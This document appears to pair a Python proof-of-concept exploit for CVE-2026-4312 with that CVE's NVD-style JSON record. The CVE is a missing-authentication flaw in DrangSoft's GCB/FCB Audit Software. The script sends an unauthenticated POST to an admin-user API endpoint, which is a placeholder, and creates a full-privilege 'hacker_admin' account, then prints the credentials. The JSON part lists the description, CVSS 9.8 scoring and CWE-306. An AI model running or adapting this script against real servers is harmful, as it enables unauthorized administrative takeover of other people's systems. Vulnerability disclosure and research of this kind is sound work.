CVE-2026-4312

import requests import json # CVE-2026-4312 PoC - GCB/FCB Audit Software Unauthenticated Admin Account Creation # Target: DrangSoft GCB/FCB Audit Software # Vulnerability: Missing Authentication for Critical API Endpoints TARGET_HOST = "http://target-server.com" # Replace with actual target API_ENDPOINT = "/api/v1/admin/users" # Replace with actual vulnerable endpoint def create_admin_account(target, endpoint, username="hacker_admin", password="P@ssw0rd123!"): """ Exploit script to create unauthorized admin account This PoC demonstrates the missing authentication vulnerability """ url = f"{target}{endpoint}" # Malicious admin account creation payload payload = { "username": username, "password": password, "email": "[email protected]", "role": "administrator", "privileges": ["full_access", "read", "write", "delete"] } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (PoC-Generator)" } try: print(f"[*] Sending exploit request to: {url}") print(f"[*] Payload: {json.dumps(payload)}") # No authentication required - this is the vulnerability response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code in [200, 201, 202]: print("[+] SUCCESS: Admin account created!") print(f"[+] Username: {username}") print(f"[+] Password: {password}") return True else: print("[-] FAILED: Request was rejected") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-4312 PoC - Unauthenticated Admin Creation") print("=" * 60) create_admin_account(TARGET_HOST, API_ENDPOINT)

{"cve": {"id": "CVE-2026-4312", "sourceIdentifier": "[email protected]", "published": "2026-03-17T08:15:57.417", "lastModified": "2026-03-17T14:20:01.670", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GCB/FCB Audit Software developed by DrangSoft has a Missing Authentication vulnerability, allowing unauthenticated remote attackers to directly access certain APIs to create a new administrative account."}, {"lang": "es", "value": "El software de auditoría GCB/FCB desarrollado por DrangSoft tiene una vulnerabilidad de autenticación faltante, que permite a atacantes remotos no autenticados acceder directamente a ciertas API para crear una nueva cuenta administrativa."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10785-2cafe-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10784-4f67d-1.html", "source": "[email protected]"}]}}